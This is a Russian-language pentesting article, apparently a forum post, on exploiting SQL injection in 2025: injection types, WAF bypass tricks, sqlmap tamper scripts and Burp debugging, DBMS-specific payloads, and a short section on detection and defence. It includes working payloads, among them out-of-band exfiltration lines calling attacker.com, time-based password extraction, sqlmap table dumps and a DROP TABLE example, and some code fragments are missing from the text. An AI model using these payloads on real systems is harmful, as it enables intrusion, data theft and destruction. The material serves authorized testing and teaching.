В январе 2025 года кто-то проэксплуатировал CVE-2025-1094 в PostgreSQL - баг в функциях
,
Код:
PQescapeIdentifier()
и
библиотеки libpq (CWE-149, Improper Neutralization of Quoting Syntax, CVSS 8.1 HIGH, вектор AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H). Цепочка прошла через BeyondTrust Remote Support и закончилась в инфраструктуре Министерства финансов США. Суть уязвимости - некорректная обработка пользовательского ввода в запросе к базе данных. Тот самый класс багов, который существует двадцать с лишним лет и никуда не собирается.
По OWASP, SQL-инъекция стабильно сидит в Top 10 под категорией A03:2021 - Injection. По MITRE ATT&CK, эксплуатация публичных приложений (T1190, Initial Access) - один из основных начальных векторов для APT-групп: APT28, APT39, APT41, Agrius, Axiom и Dragonfly документированно используют SQL-инъекции для первоначального доступа к целевым сетям.
Это не пересказ документации. Это разбор конкретных техник эксплуатации SQL-инъекций в 2025 году с позиции пентестера: какие пейлоады работают против реальных WAF, как отладить sqlmap, когда он упорно не видит инъекцию, и чем отличается time-based атака на MySQL от PostgreSQL.
Пять типов SQL-инъекций и их место в kill chain
Прежде чем открывать sqlmap, разберитесь, с каким типом инъекции вы столкнулись. От этого зависит выбор техники, инструмента и тактика обхода защитных средств.
Error-based и UNION-based: классический in-band
In-band SQL injection - ответ приходит через тот же HTTP-ответ, в который улетел пейлоад. Два подтипа:
Error-based - приложение отдаёт ошибки СУБД прямо в тело ответа. Отправляете
Код:
' AND extractvalue(1, concat(0x7e, version()))--
(MySQL) - и в сообщении об ошибке всплывает версия базы. На PostgreSQL аналогичный результат даёт
Код:
' AND 1=CAST((SELECT version()) AS numeric)--
- приведение строки к numeric вызывает ошибку, а в ней - полезные данные.
UNION-based - атакующий дописывает
к легитимному запросу, подтягивая данные из других таблиц. Условие: количество столбцов в UNION должно совпадать с оригинальным запросом. На практике это определяется тупым перебором:
,
и так до ошибки. По OWASP, классические сигнатуры вроде
Код:
1 UNION SELECT 1,2,3
WAF блокирует на раз - поэтому в реальных пентестах нужны обфусцированные варианты (об этом ниже).
С точки зрения MITRE ATT&CK, успешная in-band инъекция ведёт к тактике Collection - извлечение данных из баз (T1213.006, Databases). Если атакующий вытащит учётные данные администратора - это прямой путь к Valid Accounts (T1078).
Blind SQL injection: boolean и time-based эксплуатация
Blind SQL injection - приложение не отдаёт ни ошибок СУБД, ни данных из запроса. Ответ один и тот же, что ни подставь. Но разница всё-таки есть - надо знать, где искать.
Boolean-based blind - задаёте базе вопрос «да/нет» и судите по поведению приложения. Запрос
Код:
?id=442 OR 2346=2346
возвращает валидный контент (условие истинно), а
Код:
?id=442 OR 6362=6367
- пустой ответ (ложь). Посимвольно вытаскивая данные через
, реконструируете содержимое базы. Медленно - сотни запросов на один пароль. Но надёжно.
Time-based blind - ещё более скрытный вариант. Приложение возвращает идентичный ответ на любой ввод. Единственный сигнал - время отклика. На MySQL:
Код:
AND IF(SUBSTRING((SELECT password FROM users LIMIT 1),1,1)='a', SLEEP(5), 0)
. Первый символ пароля - «a»? Ответ придёт через 5 секунд. Нет - мгновенно. На PostgreSQL
не существует - нужен
. На MSSQL -
Код:
WAITFOR DELAY '0:0:5'
. Эта разница между движками критична при ручном тестировании и при написании кастомных скриптов (у меня на этом горело не раз).
По данным OWASP, многие WAF пропускают blind-инъекции, если заменить стандартные функции синонимами:
на
или
,
на
или
,
на
. Часто не блокируются нестандартные операторы сравнения:
,
,
вместо
. Конструкция
Код:
STRCMP(LEFT('password',1), 0x70)
возвращает 0 при совпадении, 1 или -1 при несовпадении - и WAF-правила пропускают её значительно чаще.
Out-of-band и second-order SQL injection атаки
Out-of-band (OOB) - данные уходят не через HTTP-ответ, а через внешний канал: DNS-запрос, HTTP-обращение с сервера БД на контролируемый атакующим хост. На MSSQL:
Код:
'; EXEC master..xp_dirtree '\\attacker.com\share'--
- сервер инициирует SMB-соединение на порт 445, что вызывает DNS-резолвинг hostname, а его видно в DNS-логах. Для чистой DNS-exfiltration используется конструкция с
+
. На MySQL (только Windows-хосты с FILE privilege и
Код:
secure_file_priv=NULL
или пустым):
Код:
SELECT LOAD_FILE(CONCAT('\\\\',version(),'.attacker.com\\a'))
. На Linux эта техника не работает - UNC-пути не поддерживаются. OOB-инъекция пригождается, когда time-based ненадёжна (WAF фильтрует задержки), а boolean-blind невозможна (ответ всегда одинаковый).
Second-order - самый подлый тип с точки зрения обнаружения. Пейлоад сохраняется в базу через безопасный INSERT (параметризованный), но срабатывает позже - когда другая часть приложения достаёт это значение и подставляет в новый запрос без санитизации. Пример: пользователь регистрируется с именем
. При регистрации всё чисто - prepared statement. Но при смене пароля приложение строит запрос
Код:
UPDATE users SET password='new' WHERE username='admin'--'
- и пароль админа перезаписан. Автоматические сканеры, включая sqlmap, second-order инъекции находят крайне редко. Тут нужен ручной code review и понимание логики приложения.
Обход WAF при SQL-инъекции: практические техники 2025
Обнаружить инъекцию - полдела. Проэксплуатировать её за WAF - вот на что уходит 80% времени пентеста.
HTTP Parameter Pollution и фрагментация запросов
По исследованию OWASP, HTTP Parameter Pollution (HPP) - один из самых эффективных методов обхода WAF. Суть: пейлоад разбивается между несколькими одноимёнными параметрами. WAF анализирует каждый отдельно и не видит полной картины, а бэкенд конкатенирует их.
Пример из OWASP: запрос
Код:
/?id=1;select+1,2,3+from+users+where+id=1--
блокируется. Но
Код:
/?id=1;select+1&id=2,3+from+users+where+id=1--
проходит - WAF видит два «безобидных» значения параметра
, а серверное окружение склеивает их. Но поведение зависит от платформы, и тут начинается зоопарк: ASP.NET/IIS конкатенирует через запятую - приведённый пример работает именно для этого стека. PHP/Apache берёт последнее значение (
), и инъекция в таком виде не сработает. JSP/Tomcat берёт первое значение (
). Node.js (Express) возвращает массив
, что требует явной обработки на стороне приложения.
HTTP Parameter Fragmentation (HPF) развивает идею: пейлоад дробится между разными параметрами уязвимого запроса. Если серверный код строит запрос из нескольких GET-параметров -
Код:
select from table where a=$_GET['a'] and b=$_GET['b']
- можно отправить
Код:
/?a=1+union/&b=/select+1,2
. SQL-запрос станет:
Код:
from table where a=1 union/ and b=/select 1,2
. Блок
превращается в SQL-комментарий. Красиво, правда?
Обфускация пейлоадов: комментарии, кодировки и нормализация
OWASP документирует уязвимость в функциях нормализации WAF. Если WAF вырезает опасные ключевые слова (заменяет на пустую строку), можно вложить одно ключевое слово в другое:
Код:
/?id=1/union/union/select/select+1,2,3/*
. После очистки WAF убирает внутренние
и
, а на выходе - валидный
Код:
1 union select 1,2,3
. Тот же принцип с
- если WAF удаляет
, результат - рабочий SQL.
Другие рабочие техники обфускации из данных OWASP:
- Скобочная обфускация:
Код:
(1)union(select(1),mid(hash,1,32)from(users))
- пробелы заменены скобками, сигнатуры WAF ломаются
- Конкатенация строк:
Код:
1+union+(select'1',concat(login,hash)from+users)
- кавычка прилипает к
без пробела
- Вложенные скобки:
Код:
(1)union(((((((select(1),hex(hash)from(users))))))))
- глубокая вложенность обходит regex-правила
- MySQL versioned comments:
Код:
/!50000UNION/ /!50000SELECT/
- MySQL выполняет содержимое, если версия >= 5.00.00; WAF видит комментарий. Техника специфична для MySQL/MariaDB; MySQL 8.0 штатно поддерживает
, но в MariaDB 10.7+ поддержка executable comments ограничена - проверяйте на целевой версии
- Hex-кодирование:
вместо
- многие WAF не декодируют hex при анализе
По MITRE ATT&CK обфускация пейлоадов SQL-инъекции прямо соответствует технике Command Obfuscation (T1027.010, Defense Evasion).
sqlmap автоматизация пентест: от разведки до эксплуатации
Требования к окружению
🔓 Часть контента скрыта: Эксклюзивный контент для зарегистрированных пользователей.
Зарегистрироваться
или
Войти
Перед запуском убедитесь: Python 3.x установлен, sqlmap клонирован из репозитория (
Код:
git clone --depth 1 https://github.com/sqlmapproject/sqlmap.git
), Burp Suite Pro запущен и слушает на
. Для воспроизведения сценариев из этой статьи нужен тестовый стенд - DVWA, SQLi-labs или авторизованный scope bug bounty программы.
Когда sqlmap не видит инъекцию: отладка через Burp Suite
Знакомая ситуация: Burp Scanner нашёл потенциальную SQL-инъекцию, вы запускаете sqlmap - а он говорит «parameter does not seem to be injectable». Каждый пентестер через это проходил. Ниже - реальный workflow отладки, основанный на кейсе, описанном исследователями Vaadata.
Сценарий: Burp обнаружил boolean-blind инъекцию в параметре
. Два запроса Burp: с условием
(истина) сервер вернул данные, с
(ложь) - пустой ответ. Инъекция подтверждена вручную. Но
Код:
sqlmap -u "https://target.com/endpoint?idEntity=442" -p idEntity
выдаёт «not injectable».
Шаг 1 - добавить прокси и уточнить технику. Запускаем sqlmap через Burp-прокси, указываем boolean-blind и строку, означающую «ложный» ответ:
Код:
Код:
sqlmap -u "https://target.com/endpoint?idEntity=442" \
-p idEntity --technique=B \
--not-string='nameEntity=""' \
--proxy=http://127.0.0.1:8080
Снова «not injectable». Но теперь трафик идёт через Burp, и в HTTP History видно: сервер возвращает HTTP 200 с
на каждый запрос sqlmap. Пустой ответ - WAF блокирует запросы по сигнатуре User-Agent.
Шаг 2 - сменить User-Agent. Добавляем
- и WAF отступает:
Код:
Код:
sqlmap -u "https://target.com/endpoint?idEntity=442" \
-p idEntity --technique=B \
--not-string='nameEntity=""' \
--proxy=http://127.0.0.1:8080 \
-A "Mozilla/5.0"
[INFO] GET parameter 'idEntity' appears to be
'AND boolean-based blind' injectable
Инъекция найдена. Дальше - стандартная эксплуатация:
для перечисления баз,
Код:
-D target_db -T users --dump
для извлечения данных.
Вывод тут простой: sqlmap не заменяет понимание того, что происходит на уровне HTTP. Если он не находит инъекцию, которую вы подтвердили вручную - проблема в WAF, cookie-зависимости, нестандартном формате ответа или rate-limiting. Burp-прокси делает эти проблемы видимыми.
Tamper-скрипты sqlmap для обхода WAF
Флаг
подключает скрипты модификации пейлоадов перед отправкой. В комплекте sqlmap более 50 tamper-скриптов. Вот комбинации, которые чаще всего срабатывают на практике:
Для ModSecurity CRS:
Код:
--tamper=space2comment,between,randomcase
.
заменяет пробелы на
,
заменяет
на
и
на
(ломая сигнатуры, ориентированные на оператор равенства),
рандомизирует регистр -
вместо
.
Для MySQL-специфичных окружений:
Код:
--tamper=space2hash,halfversionedmorekeywords
.
заменяет пробел на
с переводом строки (MySQL трактует
как однострочный комментарий),
Код:
halfversionedmorekeywords
оборачивает ключевые слова в MySQL versioned comments.
Для Cloudflare:
Код:
--tamper=charencode,apostrophenullencode
с дополнительным
и задержкой
(чтобы не сработал rate-limiter).
Tamper-скрипты - не серебряная пуля. Каждый WAF обновляет правила, и комбинация, работавшая вчера, может быть заблокирована сегодня. Если стандартные tamper-скрипты не помогают - пишите свой. Кастомный tamper-скрипт - Python-файл с функцией
Код:
tamper(payload, **kwargs)
, которая принимает пейлоад и возвращает модифицированную строку.
Дополнительные флаги sqlmap, повышающие эффективность при работе с WAF:
- - максимальные уровни тестирования, включают проверку cookie, referer, user-agent
- - автоматические ответы на все вопросы (для скриптинга)
- - конкретные типы инъекций для проверки (B=boolean, E=error, U=union, S=stacked, T=time, Q=inline query)
Код:
--prefix="')" --suffix="-- -"
- кастомные префикс и суффикс для пейлоада, когда вы знаете структуру уязвимого запроса
Burp Suite и SQL injection: ручная верификация перед автоматизацией
Workflow, который минимизирует ложные срабатывания и экономит время:
Этап 1 - пассивный сбор. Проходите по приложению через Burp Proxy, собирая все endpoint'ы. В Target → Site map ищите параметры, которые потенциально попадают в SQL-запросы:
,
,
,
,
,
.
Этап 2 - ручное тестирование в Repeater. Берёте подозрительный запрос, отправляете в Repeater. Вставляете простейшие пейлоады: одинарная кавычка
(ищите ошибку),
vs
(ищите разницу в ответе),
(ищите задержку). Расширение Hackvertor позволяет на лету кодировать пейлоады - URL-encode, hex, unicode - без ручного пересчёта.
Этап 3 - передача в sqlmap. Инъекция подтверждена вручную - сохраняете запрос из Burp в файл (правый клик → Save item) и передаёте через
Код:
sqlmap -r request.txt
. Так sqlmap использует те же cookie, заголовки и параметры, что и ваш ручной тест. Расширение SQLiPy для Burp Suite позволяет отправить запрос напрямую в sqlmap API из интерфейса Burp.
Этап 4 - анализ результатов. sqlmap нашёл инъекцию - смотрите тип: union-based - данные можно вытащить быстро. Time-based - готовьтесь к длительному ожиданию и используйте
для параллелизации (если целевой сервер выдерживает нагрузку).
DBMS-специфичные пейлоады при
SQL injection атаках
Одна из типичных ошибок - гонять MySQL-пейлоады против PostgreSQL или MSSQL. Движки по-разному обрабатывают синтаксис, и пейлоад, идеальный для одной СУБД, вызовет синтаксическую ошибку на другой.
Конкатенация строк. MySQL:
. Оператор
в MySQL по умолчанию - логическое ИЛИ, а не конкатенация (в отличие от PostgreSQL/Oracle); но если на сервере установлен
с
или
,
будет конкатенацией - проверяйте через
. PostgreSQL:
. MSSQL:
. Критично при error-based инъекциях, где нужно собрать строку для вывода.
Задержки для time-based. MySQL:
или
Код:
BENCHMARK(10000000,SHA1('test'))
. PostgreSQL:
. MSSQL:
Код:
WAITFOR DELAY '0:0:5'
. Oracle:
Код:
dbms_pipe.receive_message('a',5)
. Пишете кастомный скрипт для автоматизации time-based инъекции - проверяйте движок перед выбором функции задержки.
Определение версии. MySQL:
или
. PostgreSQL:
. MSSQL:
. Oracle:
Код:
SELECT banner FROM v$version
.
Комментарии. MySQL:
(с пробелом после),
,
. PostgreSQL:
,
. MSSQL:
,
. MySQL уникален поддержкой
как однострочного комментария - tamper-скрипт
эксплуатирует именно эту особенность и бесполезен против PostgreSQL.
Stacked queries. PostgreSQL и MSSQL нативно поддерживают выполнение нескольких запросов через
. MySQL в связке с типичными клиентами (PHP
, PDO, Python MySQLdb) stacked queries по умолчанию не поддерживает - нужна
. На практике:
Код:
; DROP TABLE users--
сработает на PostgreSQL, но с высокой вероятностью упадёт с ошибкой на MySQL.
Вернёмся к CVE-2025-1094: уязвимость в функциях экранирования PostgreSQL (CWE-149) позволяла обойти quoting-механизм libpq и получить выполнение произвольного SQL в контексте psql. Вектор CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H - атака по сети, не требует привилегий и взаимодействия пользователя, но сложность высокая (AC:H). Именно эта сложность означала, что sqlmap без кастомной настройки не мог автоматически проэксплуатировать эту уязвимость.
SQL injection обнаружение и защита: что видно в логах
Со стороны обороны SQL-инъекции оставляют характерные следы. Вот что искать в access-логах WAF и веб-сервера:
- Строки
,
,
,
,
в параметрах запросов
- Символы
,
,
,
,
в нехарактерных полях (имена пользователей, числовые ID)
- Аномальная длина параметров: поле
, обычно содержащее 1-5 цифр, внезапно получает 200+ символов
- Аномальное время выполнения запросов к БД: обычно 50ms, внезапно 5000ms+ (сигнал time-based инъекции)
- Серия однотипных запросов с минимальной вариацией одного символа (сигнал автоматизированной blind-инъекции)
- User-Agent содержащий
- тривиальный индикатор, но удивительно часто встречается при скане ботами
Для SQL-инъекций через SQL Stored Procedures (T1505.001, Persistence по MITRE ATT&CK) - мониторьте логи СУБД на предмет создания новых хранимых процедур или изменения существующих. Это может означать, что атакующий закрепляется через бэкдор внутри базы.
На уровне SIEM выстраивайте корреляцию: всплеск 500-ошибок от одного IP + аномальная длина параметров + последующие запросы к чувствительным endpoint'ам = высоковероятная попытка SQL-инъекции.
Что касается защиты - prepared statements (параметризованные запросы) остаются единственным надёжным методом. ORM снижают риск, но не устраняют его:
в Django,
в Node.js,
Код:
ActiveRecord.find_by_sql()
в Ruby on Rails - все они позволяют писать «сырой» SQL и мгновенно создают уязвимость. WAF - дополнительный слой, не основная защита. Принцип наименьших привилегий для учётной записи БД, под которой работает приложение, ограничивает ущерб: если аккаунт имеет только SELECT на нужные таблицы, stacked query с
не пройдёт.
Вопрос к читателям
При настройке sqlmap под конкретный WAF выбор tamper-скриптов определяет успех или провал эксплуатации. Выше я описал комбинации
Код:
space2comment,between,randomcase
для ModSecurity CRS и
Код:
charencode,apostrophenullencode
для Cloudflare. Но WAF-правила обновляются, и эти комбинации не вечны. У кого есть свежий опыт обхода конкретного WAF через
? Какая связка сработала, против какого WAF-движка и версии CRS? Покажите вашу рабочую строку
- это ценнее любой теории.